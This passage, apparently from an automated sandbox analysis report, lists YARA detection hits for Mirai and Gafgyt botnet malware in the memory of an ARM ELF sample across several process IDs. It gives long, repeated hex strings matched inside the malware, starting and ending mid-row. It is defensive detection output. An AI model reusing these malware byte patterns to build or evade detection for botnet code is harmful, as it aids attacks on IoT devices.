2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5587.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5590.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5590.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5590.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5590.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5599.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5599.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5599.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5599.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5581	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.arm.elf PID: 5581	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x7ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x802:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x816:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x83e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x852:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x866:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x87a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x88e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x906:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x91a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x92e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x942:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x956:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x96a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x97e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5581	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xcac:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5585	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.arm.elf PID: 5585	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x10d93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10da7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10dbb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10dcf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10de3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10df7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e5b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e6f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e83:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10e97:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10eab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10ebf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10ed3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10ee7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10efb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10f0f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10f23:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5585	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x11251:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5587	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11dcf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11de3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11df7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e5b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e6f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e83:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11e97:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11eab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ebf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ed3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ee7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11efb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f0f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f23:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f37:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f4b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11f5f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5589	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.arm.elf PID: 5589	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xeaab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeabf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xead3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeae7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeafb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb0f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb23:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb37:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb4b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb5f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb73:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb87:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb9b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebaf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebc3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebd7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebeb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec13:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec27:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec3b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5589	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xef69:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.arm.elf PID: 5590	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11b2b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b3f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b53:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b67:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b7b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b8f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ba3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bb7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bcb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bdf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ca7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cbb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.arm.elf PID: 5592	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.arm.elf PID: 5592	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x343f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3453:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3467:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x347b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x348f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3507:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x351b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x352f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3543:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3557:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x356b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x357f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3593:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 